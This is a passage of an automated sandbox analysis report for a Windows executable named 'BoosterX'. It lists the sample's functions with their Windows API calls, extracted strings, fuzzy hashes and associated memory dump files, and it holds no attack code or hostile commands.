Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 799d038b7158803bea933cf39b0b77b6ad7abc565185a6302c43ebec12009330
Instruction ID: c1ab4ceaeec2542ccafda12c3375e9ffca3f3a66414510e60bdb1540473bc741
Opcode Fuzzy Hash: 799d038b7158803bea933cf39b0b77b6ad7abc565185a6302c43ebec12009330
Instruction Fuzzy Hash: C411C961E08A07A1FB619F16E8413B02254AF86B4EF180577CDCEC63A5EF3CA595C610

Function 00007FF6C0363E88 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C036407C: FindFirstFileW.KERNELBASE ref: 00007FF6C03640CB
Part of subcall function 00007FF6C036407C: FindFirstFileW.KERNELBASE ref: 00007FF6C036411E
Part of subcall function 00007FF6C036407C: GetLastError.KERNEL32 ref: 00007FF6C036416F

FindClose.KERNELBASE(?,?,00000000,00007FF6C0370791), ref: 00007FF6C0363EBD

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3db1f706a341b632f8dfa3ea15531839b7ab568833e068a27522bd2dc9fc7792
Instruction ID: b15a649c0bb25a0f584eedf9f70ade41b5e537adbc68693dcd3953897fa6f526
Opcode Fuzzy Hash: 3db1f706a341b632f8dfa3ea15531839b7ab568833e068a27522bd2dc9fc7792
Instruction Fuzzy Hash: CFF0C26290C283A5EB509F75A5052792760BF0ABB5F280334DABDCB3DBCF2AD494C750

Function 00007FF6C03626FC Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF6C0362715

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: fdea881a5ac41bc8476d4f771acb1fa358bbe6d5cd898be5f50fef914b09b9a2
Instruction ID: e1474437c83fe24f3737199bfaa5efadf5416de8c03f7fc8c7a27f603ce15c14
Opcode Fuzzy Hash: fdea881a5ac41bc8476d4f771acb1fa358bbe6d5cd898be5f50fef914b09b9a2
Instruction Fuzzy Hash: 61E0C212B2095692FF20AF3AC841AB91320FF8DF86B491030CF8CC7322CF28C4998604

Function 00007FF6C0362450 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6C0362462

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 03da3826baee9e3889fc773b2886221d394f3e810eac95c36ba5225e1f499163
Instruction ID: bcb757e8393bb79bca28feb98e58f7a24e43dbb98d80bdebbe3904f9e6059167
Opcode Fuzzy Hash: 03da3826baee9e3889fc773b2886221d394f3e810eac95c36ba5225e1f499163
Instruction Fuzzy Hash: 17D0C916909842A2D9109B3A985207C1250AF92736FA40720D6BEC17E1CF1D949A9214

Function 00007FF6C0397590 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6C03975A0

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 209a15bdd53c5b123fa0d84f3a862c9be3360db7efcf8b869f54dd918b7cc07f
Instruction ID: de8a8881564bc8da40feae8e5ac904ab759736a92241289a1cd695beeb82ec44
Opcode Fuzzy Hash: 209a15bdd53c5b123fa0d84f3a862c9be3360db7efcf8b869f54dd918b7cc07f
Instruction Fuzzy Hash: 21D09E99D1AD07A5FB05DF01E89D7302260FF5871BF521634C48DC53518F7C22958B40

Function 00007FF6C0367F84 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF6C0367F92

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 9c840309d013360c449daa427f1fc183ac61f7933642795e3a693a1311e8ce7d
Instruction ID: 4e180463d96cf79bc8a897bb15109b65e53715878de9f9a2f9514f898bd4283d
Opcode Fuzzy Hash: 9c840309d013360c449daa427f1fc183ac61f7933642795e3a693a1311e8ce7d
Instruction Fuzzy Hash: 44C04C21F15503D1DB089F26C8CA51813A5BB94B06BA58035D54DC5360DF2DD5EE9745

Function 00007FF6C038F984 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6C038F9D9

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 65d65be094b720022a4c613e05cd8daa3805a7558d9a012189656855d83645cd
Instruction ID: 4290c4247e1b15a3981b55768637fd40fe8a56e3a5dd04b73461906c1c67db3d
Opcode Fuzzy Hash: 65d65be094b720022a4c613e05cd8daa3805a7558d9a012189656855d83645cd
Instruction Fuzzy Hash: EBF09A50B1961779FE956F669D127B852806F98B86F4C46B3CDCEC63C2EF2CF8808210

Function 00007FF6C0362090 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000001,00007FF6C0362036), ref: 00007FF6C03620B6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 88ac200104c8a376347706866ba6eb900ce7ebb2d802d1386c93ce6497709a49
Instruction ID: fd280f9a95da0a00c9b39277aad5e6c7948d5b02b6576c7eac51209d80f0282e
Opcode Fuzzy Hash: 88ac200104c8a376347706866ba6eb900ce7ebb2d802d1386c93ce6497709a49
Instruction Fuzzy Hash: 71F08122A08A43A5FB248F20E4402B92660EB15B7AF495335D7BCC56D4DF28D895C714

Function 00007FF6C038D8CC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6C038D90A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2826fc88380e59435e692d83d50ce6089ce9b14572d7d031222529168f4ecb4e
Instruction ID: 7dd15e9165dc739f1ce263ae0d03c3a9b6f436b5c8ad80619701a4fc8400bc49
Opcode Fuzzy Hash: 2826fc88380e59435e692d83d50ce6089ce9b14572d7d031222529168f4ecb4e
Instruction Fuzzy Hash: 20F0F810B19247A5FF566FB258112B553905F947A2F4847B3DDEEC63C1EF2CA9808610

Non-executed Functions

Function 00007FF6C035C300 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 754fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C035DE14: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C035CF5B), ref: 00007FF6C035DE37
Part of subcall function 00007FF6C035DE14: GetLastError.KERNEL32 ref: 00007FF6C035DE98
Part of subcall function 00007FF6C035DE14: CloseHandle.KERNEL32 ref: 00007FF6C035DEAB

wcscpy.LIBCMT ref: 00007FF6C035CBD8
wcscpy.LIBCMT ref: 00007FF6C035CC0E
CreateFileW.KERNEL32 ref: 00007FF6C035CC48
DeviceIoControl.KERNEL32 ref: 00007FF6C035CD11
CloseHandle.KERNEL32 ref: 00007FF6C035CD22
GetLastError.KERNEL32 ref: 00007FF6C035CD3E
RemoveDirectoryW.KERNEL32 ref: 00007FF6C035CD8D
DeleteFileW.KERNEL32 ref: 00007FF6C035CD98
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CE99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CE9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEAB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEB1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEBD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEC3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEC9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CECF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CED5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEDB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEE1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035CEE7

Strings

UNC\, xrefs: 00007FF6C035C54F, 00007FF6C035C56D
SeRestorePrivilege, xrefs: 00007FF6C035C353
\??\, xrefs: 00007FF6C035C3A2, 00007FF6C035C3C8
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6C035C35F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseErrorFileHandleLastwcscpy$ControlCreateCurrentDeleteDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2659423929-3508440684
Opcode ID: 578450afe0f1bc0c690d6bb4006d71e7b96940e0835be98eaf36633f6753adaf
Instruction ID: e6bd993deed2f8e0498585ae4572af0577946b7620a25861b8b0f0d777c0bfc0
Opcode Fuzzy Hash: 578450afe0f1bc0c690d6bb4006d71e7b96940e0835be98eaf36633f6753adaf
Instruction Fuzzy Hash: 6F628E66F18643A9FB009F74D4492AD3361AB857A9F504232DAADD7BEADF3CD185C300

Function 00007FF6C0361A00 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 375fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6C0361A4F
GetLongPathNameW.KERNEL32 ref: 00007FF6C0361A98
GetShortPathNameW.KERNEL32 ref: 00007FF6C0361AD9
GetShortPathNameW.KERNEL32 ref: 00007FF6C0361B22

Part of subcall function 00007FF6C0371344: CompareStringW.KERNEL32 ref: 00007FF6C0371363

MoveFileW.KERNEL32 ref: 00007FF6C0361DB6
MoveFileW.KERNEL32 ref: 00007FF6C0361E1D

Part of subcall function 00007FF6C03620F4: CreateFileW.KERNEL32 ref: 00007FF6C03621FC

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361F99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361F9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361FA5

Strings

rtmp, xrefs: 00007FF6C0361CAC, 00007FF6C0361CBB

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: NamePath$File_invalid_parameter_noinfo_noreturn$LongMoveShort$CompareCreateString
String ID: rtmp
API String ID: 3587137053-870060881
Opcode ID: 5804a3a641a418029af90becdda62572abb54b7e623b8138e0a4758647245305
Instruction ID: 3fc0ba95deceef9a2a4359a1b1032f120d31030f5662d923103defd46c0d0a2e
Opcode Fuzzy Hash: 5804a3a641a418029af90becdda62572abb54b7e623b8138e0a4758647245305
Instruction Fuzzy Hash: 09F1CC22B08A83A1EA10DF65D8841BD6761FB85B85F541632EE8DC7BA9DF3CE584C740

Function 00007FF6C0365B20 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF6C0365B82
GetFullPathNameW.KERNEL32 ref: 00007FF6C0365BCE
GetFullPathNameW.KERNEL32 ref: 00007FF6C0365CEB
GetFullPathNameW.KERNEL32 ref: 00007FF6C0365D30
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0365EA0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0365EA6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0365EAC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0365EB2

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: 43a43ba386c24045c0db5af6cf1db9acff8f38ee05368a60e4c32fec91fd7930
Instruction ID: 13cebc64ab1f71dae40a58e87847cdb0554b9b8b482583c769a226fd8d0f8021
Opcode Fuzzy Hash: 43a43ba386c24045c0db5af6cf1db9acff8f38ee05368a60e4c32fec91fd7930
Instruction Fuzzy Hash: 39A1B062F15B5395FE048F7988485BD2321BB85BA6F145232DEADD7BC9DF3CE1818210

Function 00007FF6C03830F0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6C038310C
RtlCaptureContext.KERNEL32 ref: 00007FF6C0383139
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C0383153
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C0383194
IsDebuggerPresent.KERNEL32 ref: 00007FF6C03831E8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C0383209
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C0383214

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 0807455d0555d650f040b04fa66349818bf1af33e15178971619a7c0969c3fb0
Instruction ID: 03a0ac84de7c1fa33d3469c66c4c78ab5dc49dad1ba26fff62b1a95bb874b943
Opcode Fuzzy Hash: 0807455d0555d650f040b04fa66349818bf1af33e15178971619a7c0969c3fb0
Instruction Fuzzy Hash: D8315076609B82A9EB609F60E8903ED7360FB84B45F44453ADA8EC7B98DF38D548C710

Function 00007FF6C0387658 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6C03876D1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C03876E9
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C0387724
IsDebuggerPresent.KERNEL32 ref: 00007FF6C038775D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C0387767
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C0387772

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ad4a7a01f5f8e7c35986f1c3a3571837895acf53bea511e166d2dcba98ee745e
Instruction ID: e810bf304580ba86126e3b05cfc6f63ad8ddbe3d5118f25a6ed7cad655bbabd4
Opcode Fuzzy Hash: ad4a7a01f5f8e7c35986f1c3a3571837895acf53bea511e166d2dcba98ee745e
Instruction Fuzzy Hash: CC316236608B82A6DB60CF25E8402AE73A0FB84B55F540236EE9DC7B59DF3CD545CB00

Function 00007FF6C0351AA4 Relevance: 6.3, APIs: 4, Instructions: 285COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351EA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351EAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351EB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351EBB

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: db7996cf17faa13ca880b81eaf1002c09d293d8692a5d372692e043dc9a0b405
Instruction ID: b50a826c2c95551f194edec8908937c30c8dde8a8d39d8efbab4b413fabdab54
Opcode Fuzzy Hash: db7996cf17faa13ca880b81eaf1002c09d293d8692a5d372692e043dc9a0b405
Instruction Fuzzy Hash: 7DB1BD26B14A83A6EB109F65D8452AD3361FB85B99F405232EE8DC7BE9DF3CD540C300

Function 00007FF6C038FA14 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038FA44

Part of subcall function 00007FF6C03878B4: GetCurrentProcess.KERNEL32(00007FF6C0390C4D), ref: 00007FF6C03878E1

Strings

*?, xrefs: 00007FF6C038FA6B
., xrefs: 00007FF6C038FE64

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
